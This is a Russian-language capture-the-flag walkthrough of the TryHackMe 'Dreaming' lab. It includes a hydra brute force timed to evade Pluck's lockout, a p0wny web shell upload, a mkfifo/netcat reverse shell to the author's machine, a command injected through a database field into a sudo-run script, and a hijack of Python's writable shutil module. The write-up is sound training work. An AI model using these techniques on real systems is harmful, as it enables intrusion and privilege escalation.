Logo

Dreaming

Solve the riddle that dreams have woven.

TryHackMe: Прохождение комнаты Dreaming.

Dreaming

Комната посвящена царству Снов (The Dreaming) из комикса про Песочного человека (The Sandman). Главный герой это собственно сам Песочный человек, так же известный как Морфей (Morpheus). Оба имения является соответственно отсылками к одноименному фольклорному персонажу западноевропейской культуры и к греческому богу сновидений. Другими персонажами комнаты являются старшая сестра Морфея – Смерть (Death) и Люсьен (Lucien), глава библиотеки из царства Снов, который в свою очередь является отсылкой на библиотекаря из романа “Лилит” Джорджа Макдональда.

Люсьен

What is the Lucien Flag?

Просканируем с помощью nmap все порты (-p-) цели в ускоренном режиме (-T4):

$ nmap -T4 -p- $RHOST
nmap

Находим только два открытых порта, ssh и http. Посмотрим что там на 80 порту. Увы, это лишь стандартная заглушка сервера apache. Попробуем просканировать директории и для этого воспользуемся gobuster:

$ gobuster dir --url "$RHOST" -w /usr/share/wordlists/dirb/small.txt -t 50
gobuster

На сервере имеется некое скрытое приложение, посмотрим что там. Внутри оказывается CMS Pluck.

Проверим на exploit-db какие уязвимости существуют для данной CMS. К сожалению, все интересные эксплоиты требуют наличия прав администратора. Прямо с заглавной страницы можно перейти на форму аутентификации в админ панель. Остается только подобрать пароль, благо предполагается что пользователь у системы только один и нам не нужно гадать ещё и с именем админа.

Если изучить login.php, то можно обнаружить, что Pluck использует классическую защиту от брутфорса пароля, она блокирует доступ на 5 минут после 5 неверных попыток:

<?php
//Check if user has tried to login before.
if (file_exists(LOGIN_ATTEMPT_FILE)) {
	require(LOGIN_ATTEMPT_FILE);
	//Determine the amount of seconds that a user will be blocked (300 = 5 minutes).
	$timestamp = $timestamp + 300;

	//Block access if user has tried 5 times.
	if (($tries == 5)) {
		//Check if time hasn't exceeded yet, then block user.
		if ($timestamp > time())
			$login_error = show_error($lang['login']['too_many_attempts'], 1, true);
		//If time has exceeded, unblock user.
		else
			unlink(LOGIN_ATTEMPT_FILE);
	}
}

Пароль будем брутфорсить с помощью hydra. Поскольку логин не требуется, пропустим его -l '', в качестве словаря паролей возьмём известный rockyou.txt.

Если у вас в системе нет словарей, то их можно скачать с репозитория SecLists. В Linux дистрибутивах Parrot и Kali они предустановлены в /usr/share/wordlist.

Так же укажем, что за раз будем пробовать по 5 паролей -t 5, после чего ожидать 303 секунды -W 303. Это необходимо для обхода автоматической блокировки.
Страница авторизации посылает данные в виде POST запроса, укажем для hydra модуль для работы с подобными запросами (http-post-form).
Для строки запроса заполним адрес: /app/pluck-4.7.13/login.php, тело запроса: cont1=^PASS^&bogus=&submit=Log+in, ну и F:incorrect означает что hydra будет искать в ответе текст “incorrect” и при его наличии понимать, что пароль неверен.

Подробнее узнать о синтаксисе строки запроса соответствующей post-запросам можно в справке: hydra -U http-post-form.

$ hydra -l '' -P /usr/share/wordlists/rockyou.txt -t 5 -W 303 http-post-form://$RHOST -m "/app/pluck-4.7.13/login.php:cont1=^PASS^&bogus=&submit=Log+in:F=incorrect"
hydra

После получения пароля можем воспользоваться ранее найденным эксплоитом:

exploit

Эксплоит загружает на сервер крайне удобный веб-шелл p0wny@shell. Для начала, просто осмотримся:

p0wny@shell:…/pluck-4.7.13/files# ls -l /home/*
/home/death:
total 8
-rw-rw---- 1 death death   21 Jul 28 16:33 death_flag.txt
-rwxrwx--x 1 death death 1539 Aug 25 16:15 getDreams.py

/home/lucien:
total 4
-rw-rw---- 1 lucien lucien 19 Jul 28 16:27 lucien_flag.txt

/home/morpheus:
total 12
-rw-rw-r-- 1 morpheus morpheus  22 Jul 28 22:37 kingdom
-rw-rw---- 1 morpheus morpheus  28 Jul 28 22:29 morpheus_flag.txt
-rw-rw-r-- 1 morpheus morpheus 180 Aug  7 23:48 restore.py

Сразу же находим флаги которые нам нужно получить, так же отмечаем что у пользователя death доступен для запуска некий скрипт getDreams.py, а у пользователя morpheus возможно прочесть файлы: kingdom и restore.py. Рассмотрим скрипт restore.py:

from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

Скрипт выполняет бекап файла kingdom. Вероятно это происходит по расписанию, но к сожалению мы не имеем доступа к конечному файлу, чтобы посмотреть отметки времени либо глянуть cron задачи пользователя. Просто отметим это для себя на будущее.

Теперь нужно подумать, какие уязвимости имеются в системе. p0wny@shell имеет удобную функцию загрузки файлов посредством встроенной команды upload. Загрузим на машину LinPEAS, скрипт который ищет возможные пути эскалации привилегий на linux машине. Далее установим обратное соединение, для этого на своей машине запустим netcat в режиме ожидания подключения на 7777 порту:

nc -lvnp 7777

а в p0wny@shell организуем подключение к нашей машине:

$ mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.9.111.136 7777 >/tmp/f

После удачного соединения можем запустить только что загруженный linpeas. Одно из мест к которому он привлечет внимание, это наличие двух файлов в обычно пустой директории /opt: getDreams.py и test.py.

LinPEAS

Взглянем на первый файл, это скрипт принадлежащий пользователю death:

import mysql.connector
import subprocess

# MySQL credentials
DB_USER = "death"
DB_PASS = "#redacted"
DB_NAME = "library"

import mysql.connector
import subprocess

def getDreams():
    try:
        # Connect to the MySQL database
        connection = mysql.connector.connect(
            host="localhost",
            user=DB_USER,
            password=DB_PASS,
            database=DB_NAME
        )

        # Create a cursor object to execute SQL queries
        cursor = connection.cursor()

        # Construct the MySQL query to fetch dreamer and dream columns from dreams table
        query = "SELECT dreamer, dream FROM dreams;"

        # Execute the query
        cursor.execute(query)

        # Fetch all the dreamer and dream information
        dreams_info = cursor.fetchall()

        if not dreams_info:
            print("No dreams found in the database.")
        else:
            # Loop through the results and echo the information using subprocess
            for dream_info in dreams_info:
                dreamer, dream = dream_info
                command = f"echo {dreamer} + {dream}"
                shell = subprocess.check_output(command, text=True, shell=True)
                print(shell)

    except mysql.connector.Error as error:
        # Handle any errors that might occur during the database connection or query execution
        print(f"Error: {error}")

    finally:
        # Close the cursor and connection
        cursor.close()
        connection.close()

# Call the function to echo the dreamer and dream information
getDreams()

Данный код довольно прост, идёт подключение к базе library, далее из таблицы dreams для каждого “спящего” (dreamer) на экран выводится его “сон” (dream). Но важная деталь, вывод производится путем вызова внешней команды echo. Запомним этот факт.
Ну и судя по всему, это тот же файл, что и с домашней директории пользователя, с той лишь разницей, что здесь вырезан пароль для доступа к базе данных.

Теперь изучим второй файл test.py:

import requests

#Todo add myself as a user
url = "http://127.0.0.1/app/pluck-4.7.13/login.php"
password = #redacted#

data = {
        "cont1":password,
        "bogus":"",
        "submit":"Log+in"
        }

req = requests.post(url,data=data)

if "Password correct." in req.text:
    print("Everything is in proper order. Status Code: " + str(req.status_code))
else:
    print("Something is wrong. Status Code: " + str(req.status_code))
    print("Results:\n" + req.text)

Это простой скрипт который проверяет подключение к Pluck. Но что важнее, здесь указан пароль и он отличается от того, который мы ранее подобрали брутфорсом. Попробуем его использовать для подключения через ssh как пользователь lucien:

$ ssh lucien@$RHOST

Пароль подошел, вход в систему успешен и получен первый флаг:

cat flat
Смерть

What is the Death Flag?

Проверим, какие права имеются у пользователя lucien:

$ sudo -l
sudo

Оказывается мы можем выполнять скрипт /home/death/getDreams.py с правами пользователя death без необходимости указывать её пароль. Попробуем запустить скрипт:

sudo -u death /usr/bin/python3 /home/death/getDreams.py
sudo

Судя по выводу, это тот самый скрипт который мы рассматривали ранее. Учитывая что он вызывает оболочку и мы можем делать это с правами пользователя death, для доступа к машине от её имени нужно внедрить в базу данных нашу команду. Попробуем сделать это запустив mysql. Увы, но у нас нет пароля. Попробуем проверить историю вызовов команд:

$ cat .bash_history | grep mysql
sudo

Нам повезло, в истории остался пароль. Запустим mysql с данным паролем и внедрим в таблицу нового “спящего” с командой которая отобразит нам оригинальный скрипт getDreams.py:

mysql> use library

Database changed

mysql> insert into dreams(dreamer, dream) 
       values("h4ck3r", "Hack!; cat /home/death/getDreams.py");
Query OK, 1 row affected

mysql> select * from dreams;
+---------+-------------------------------------+
| dreamer | dream                               |
+---------+-------------------------------------+
| Alice   | Flying in the sky                   |
| Bob     | Exploring ancient ruins             |
| Carol   | Becoming a successful entrepreneur  |
| Dave    | Becoming a professional musician    |
| h4ck3r  | Hack!; cat /home/death/getDreams.py |
+---------+-------------------------------------+

mysql> quit
Bye

Здесь точка с запятой (;) используется как разделитель команд для оболочки, соответственно при выполнении скрипта получится что выполняются две команды последовательно:

echo h4ck3r + Hack!; cat /home/death/getDreams.py
sudo

Мы получили ещё один пароль и попробуем использовать его, чтобы зайти через ssh как пользователь death. Получилось, вот и второй флаг:

sudo
Морфей

What is the Morpheus Flag?

Ещё раз запустим ранее установленный linpeas.sh, но в этот раз будучи залогинены как death:

$ /var/www/html/app/pluck-4.7.13/files/linpeas.sh

Из интересного обнаруживаем, что файл /usr/lib/python3.8/shutil.py, а это часть стандартной библиотеки питона, доступен нам для записи:

sudo

В этом месте вспомним про скрипт restore.py у пользователя morpheus, он как раз использует данный модуль, а конкретно его функцию copy2() для копирования файла:

from shutil import copy2 as backup

backup(src_file, dst_file)

Будем исходить из предположения, что данный скрипт автоматически вызывается через какие-то промежутки времени, таким образом у нас появляется возможность внедрить свой код что будет запущен с правами Морфея. Отредактируем функцию copy2() добавив в неё копирование файла с флагом в директорию для временных файлов /var/tmp/:

def copy2(src, dst, *, follow_symlinks=True):
    if os.path.isdir(dst):
        dst = os.path.join(dst, os.path.basename(src))
    copyfile(src, dst, follow_symlinks=follow_symlinks)
    copystat(src, dst, follow_symlinks=follow_symlinks)
    # копируем флаг
    copyfile("/home/morpheus/morpheus_flag.txt", "/var/tmp/flag.txt", True)
    return dst

Теперь осталось подождать в надежде, что скрипт действительно вызывается по расписанию. Через некоторое время мы обнаружим что так и есть, появляется файл /var/tmp/flag.txt и в нём финальный флаг.

sudo

На этом всё, комната пройдена.